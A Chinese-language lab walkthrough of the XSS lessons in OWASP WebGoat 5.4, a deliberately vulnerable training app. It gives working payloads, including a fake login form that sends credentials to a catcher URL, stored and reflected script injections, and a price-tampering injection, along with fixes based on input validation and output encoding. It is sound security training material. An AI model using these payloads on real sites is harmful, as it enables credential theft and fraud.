WebGoat5.4 Cross-Site Scripting(XSS)通关攻略
本人在学习WebGoat5.4时,发现有些题目需要在开发版本上完成,网上能找到的所谓的通关教程,都说这些题目做不了,经过尝试发现,其实是可以完成的,本篇将对这部分进行重点说明。
1.环境搭建
下载WebGoat-5.4-OWASP_Standard_Win32.zip,解压后启动webgoat_8080.bat即可(需要有Java运行环境,为了完成开发版本的题目,需要JDK1.6)
在浏览器中输入http://localhost:8080/WebGoat/attack登录,初始用户名密码是 guest,即可进入
2.Cross-Site Scripting (XSS)
①Phishing with XSS(使用XSS钓鱼)
题目要求编写HTML及JavaScript将凭据提交到http://localhost/webgoat/catcher?PROPERTY=yes
在搜索框中输入js代码
<script>
function hack()
{
alert("User Name = " + document.form.user.value + "Password = " + document.form.pass.value);
XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" +
document.form.user.value + "&password=" + document.form.pass.value + "";
}
</script>
<form>
<br>
Enter Username:<input type="text" name="user"><br>
Enter Password:<input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
页面将出现伪造的用户名密码的表单,输入用户名密码,点击登录
成功后,题目列表左边将会出现绿勾。
②LAB: Cross Site Scripting(跨站脚本攻击)
Stage 1: Stored XSS(存储型 XSS)
以“Tom”的身份,对Edit Profile页面上的Street字段执行存储型XSS攻击,验证“Jerry”是否受到攻击的影响。帐号的密码是用户名字的小写。
登录后选择“Tom Cat (employee)”,点击“ViewProfile”,点击“EditProfile”,在“Street”中输入代码:
<script>alert("test");</script>
点击“UpdateProfile”
点击“Logout”退出登录,以Jerry的身份登录,选择浏览 Tom 的信息,依然会弹出这段注入脚本。
实验成功。
Stage 2: Block Stored XSS using Input Validation(使用输入验证阻止存储型XSS攻击)
修复代码,在数据被写入数据库之前阻止存储型跨站攻击脚本。重复Stage 1的操作,以“Eric”和“David”身份再次测试,验证管理用户“David”不受攻击影响。
此题需要修改源代码才可完成,经过我的寻找,该题的源代码在WebGoat-5.4\tomcat\webapps\WebGoat\WEB-INF\classes\org\owasp\webgoat\lessons\CrossSiteScripting下的UpdateProfile.java
打开后,查看“parseEmployeeProfile”方法可以看到提示
可以使用正则表达式验证输入数据。
在parseEmployeeProfile方法中添加代码:
String regex = "[\\s\\w-,]*";
String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+startDate+ccn+disciplinaryActionDate+disciplinaryActionNotes+personalDescription;
Pattern pattern = Pattern.compile(regex);
validate(stringToValidate, pattern);
这段验证代码只允许\s = whitspace: \t\n\x0B\f\r,\w = word: a-zA-Z_0-9 通过验证。使用其他字符将会抛出验证异常。
那么,现在最重要的是如何重新编译这个.java文件。
以下是本人的试验过程:
cmd切换到WebGoat-5.4\tomcat\webapps\WebGoat\WEB-INF\classes目录,输入javac org\owasp\webgoat\lessons\CrossSiteScripting\UpdateProfile.java进行编译。
出现“错误: 程序包javax.servlet.http不存在”。
解决方法:
将WebGoat-5.4\tomcat\lib下的servlet-api.jar添加到环境变量“CLASSPATH”
。
编译成功,重新运行webgoat_8080.bat,结果无法正常运行。
提示“java.lang.UnsupportedClassVersionError: org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile : Unsupported major.minor version 52.0”
JDK版本不符
查阅资料得知,该版本WebGoat使用jdk1.6.0_02版编译
解决方法:
使用JDK1.6编译
可以正常运行
重复Stage 1的操作,以Eric身份再次测试,将会出现错误提示,阻止了XSS脚本的输入。
实验成功。
Stage 3: Stored XSS Revisited(存储型XSS重访问)
雇员“Bruce”的个人信息在预载入时携带了存储型XSS攻击代码。验证“David”帐号仍然受影响,即使Stage 2中做过相关的修复。
以David的身份登录,选择浏览Bruce的信息
即算完成。
Stage 4: Block Stored XSS using Output Encoding(使用输出编码阻止存储型XSS)
修复代码,从数据库中读取数据后阻止跨站攻击代码。重复 Stage 3的操作,以“David”身份再次测试,验证雇员“Bruce”的个人信息页不受攻击影响。
继续翻找.java文件,在org.owasp.webgoat.util.HtmlEncoder中有encode(String s1)方法,可以转换特殊字符。
private static Object[][] entities = { { "quot", new Integer(34) }, // " - double-quote
{ "amp", new Integer(38) }, // & - ampersand
{ "lt", new Integer(60) }, // < - less-than
{ "gt", new Integer(62) }, // > - greater-than
{ "nbsp", new Integer(160) }, // non-breaking space
{ "copy", new Integer(169) }, // � - copyright
{ "reg", new Integer(174) }, // � - registered trademark
{ "Agrave", new Integer(192) }, // � - uppercase A, grave accent
{ "Aacute", new Integer(193) }, // � - uppercase A, acute accent
{ "Acirc", new Integer(194) }, // � - uppercase A, circumflex accent
{ "Atilde", new Integer(195) }, // � - uppercase A, tilde
{ "Auml", new Integer(196) }, // � - uppercase A, umlaut
{ "Aring", new Integer(197) }, // � - uppercase A, ring
{ "AElig", new Integer(198) }, // � - uppercase AE
{ "Ccedil", new Integer(199) }, // � - uppercase C, cedilla
{ "Egrave", new Integer(200) }, // � - uppercase E, grave accent
{ "Eacute", new Integer(201) }, // � - uppercase E, acute accent
{ "Ecirc", new Integer(202) }, // � - uppercase E, circumflex accent
{ "Euml", new Integer(203) }, // � - uppercase E, umlaut
{ "Igrave", new Integer(204) }, // � - uppercase I, grave accent
{ "Iacute", new Integer(205) }, // � - uppercase I, acute accent
{ "Icirc", new Integer(206) }, // � - uppercase I, circumflex accent
{ "Iuml", new Integer(207) }, // � - uppercase I, umlaut
{ "ETH", new Integer(208) }, // � - uppercase Eth, Icelandic
{ "Ntilde", new Integer(209) }, // � - uppercase N, tilde
{ "Ograve", new Integer(210) }, // � - uppercase O, grave accent
{ "Oacute", new Integer(211) }, // � - uppercase O, acute accent
{ "Ocirc", new Integer(212) }, // � - uppercase O, circumflex accent
{ "Otilde", new Integer(213) }, // � - uppercase O, tilde
{ "Ouml", new Integer(214) }, // � - uppercase O, umlaut
{ "Oslash", new Integer(216) }, // � - uppercase O, slash
{ "Ugrave", new Integer(217) }, // � - uppercase U, grave accent
{ "Uacute", new Integer(218) }, // � - uppercase U, acute accent
{ "Ucirc", new Integer(219) }, // � - uppercase U, circumflex accent
{ "Uuml", new Integer(220) }, // � - uppercase U, umlaut
{ "Yacute", new Integer(221) }, // � - uppercase Y, acute accent
{ "THORN", new Integer(222) }, // � - uppercase THORN, Icelandic
{ "szlig", new Integer(223) }, // � - lowercase sharps, German
{ "agrave", new Integer(224) }, // � - lowercase a, grave accent
{ "aacute", new Integer(225) }, // � - lowercase a, acute accent
{ "acirc", new Integer(226) }, // � - lowercase a, circumflex accent
{ "atilde", new Integer(227) }, // � - lowercase a, tilde
{ "auml", new Integer(228) }, // � - lowercase a, umlaut
{ "aring", new Integer(229) }, // � - lowercase a, ring
{ "aelig", new Integer(230) }, // � - lowercase ae
{ "ccedil", new Integer(231) }, // � - lowercase c, cedilla
{ "egrave", new Integer(232) }, // � - lowercase e, grave accent
{ "eacute", new Integer(233) }, // � - lowercase e, acute accent
{ "ecirc", new Integer(234) }, // � - lowercase e, circumflex accent
{ "euml", new Integer(235) }, // � - lowercase e, umlaut
{ "igrave", new Integer(236) }, // � - lowercase i, grave accent
{ "iacute", new Integer(237) }, // � - lowercase i, acute accent
{ "icirc", new Integer(238) }, // � - lowercase i, circumflex accent
{ "iuml", new Integer(239) }, // � - lowercase i, umlaut
{ "igrave", new Integer(236) }, // � - lowercase i, grave accent
{ "iacute", new Integer(237) }, // � - lowercase i, acute accent
{ "icirc", new Integer(238) }, // � - lowercase i, circumflex accent
{ "iuml", new Integer(239) }, // � - lowercase i, umlaut
{ "eth", new Integer(240) }, // � - lowercase eth, Icelandic
{ "ntilde", new Integer(241) }, // � - lowercase n, tilde
{ "ograve", new Integer(242) }, // � - lowercase o, grave accent
{ "oacute", new Integer(243) }, // � - lowercase o, acute accent
{ "ocirc", new Integer(244) }, // � - lowercase o, circumflex accent
{ "otilde", new Integer(245) }, // � - lowercase o, tilde
{ "ouml", new Integer(246) }, // � - lowercase o, umlaut
{ "oslash", new Integer(248) }, // � - lowercase o, slash
{ "ugrave", new Integer(249) }, // � - lowercase u, grave accent
{ "uacute", new Integer(250) }, // � - lowercase u, acute accent
{ "ucirc", new Integer(251) }, // � - lowercase u, circumflex accent
{ "uuml", new Integer(252) }, // � - lowercase u, umlaut
{ "yacute", new Integer(253) }, // � - lowercase y, acute accent
{ "thorn", new Integer(254) }, // � - lowercase thorn, Icelandic
{ "yuml", new Integer(255) }, // � - lowercase y, umlaut
{ "euro", new Integer(8364) },// Euro symbol
};
在org.owasp.webgoat.lessons.CrossSiteScriptin.ViewProfile及org.owasp.webgoat.lessons.CrossSiteScriptin.EditProfile中加入:
import org.owasp.webgoat.util.HtmlEncoder;
在getEmployeeProfile方法中将原有的answer_results.getString()替换为
HtmlEncoder.encode(answer_results.getString())
当然,也可以自己编写这段转换代码。
编译后运行,重复 Stage 3的操作,不再出现弹框。
查看网页源代码可以看到<被编码为了<>被编码为>,无法构成<script>标签。
实验成功。
Stage 5: Reflected XSS(反射型 XSS)
使用雇员搜索页面漏洞构造包含反射型XSS攻击的 URL。验证另一位雇员访问该URL是否会受影响。
登录一个用户,点击“SearchStaff”,在搜索框中输入代码:
<script>alert("test")</script>
点击“FindProfile”
实验成功。
Stage 6: Block Reflected XSS(阻止反射型 XSS)
修复代码,阻止反射型XSS攻击。重复 Stage 5的操作,验证攻击不再生效。
编辑org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile,在getRequestParameter方法中加入代码:
String regex = "[\\s\\w-,]*";
String stringToValidate = s.getParser().getRawParameter(name);
Pattern pattern = Pattern.compile(regex);
validate(stringToValidate, pattern);
return stringToValidate;
编译运行,重复Stage 5的操作,将会出现错误提示。
实验成功。
③Stored XSS Attacks(存储型XSS攻击)
创建非法的消息内容,可以导致其它用户访问时加载该内容。
在Title输入任意内容,在Message中输入代码:
<script>alert(1)</script>
访问所发布的信息
实验成功。
④Reflected XSS Attacks(反射型XSS攻击)
经过试验,发现在“Enter your three digit access code”框处有漏洞,输入
<script>alert(1)</script>
实验成功。
更有意思的是,可将数量任意修改,输入:
'>
<script>
for(i=0;i<4;i++)
document.getElementsByTagName("input")[i].value='1000';
</script>
'>
即可以同样的价格买到更多的物品,实现“0元购”。
这些XSS产生是因为用户可以非法输入JS脚本,想要防御这些XSS,可在服务端对所有输入进行验证,过滤掉非法输入。
3.实验体会
通过本次实验可以了解反射型XSS漏洞、存储型XSS漏洞,JSP编写及编译的各项操作。学习网络安全知道如何攻击,也要知道如何防护。在实验过程中会遇到许许多多的问题,要不断钻研,才能学有所成。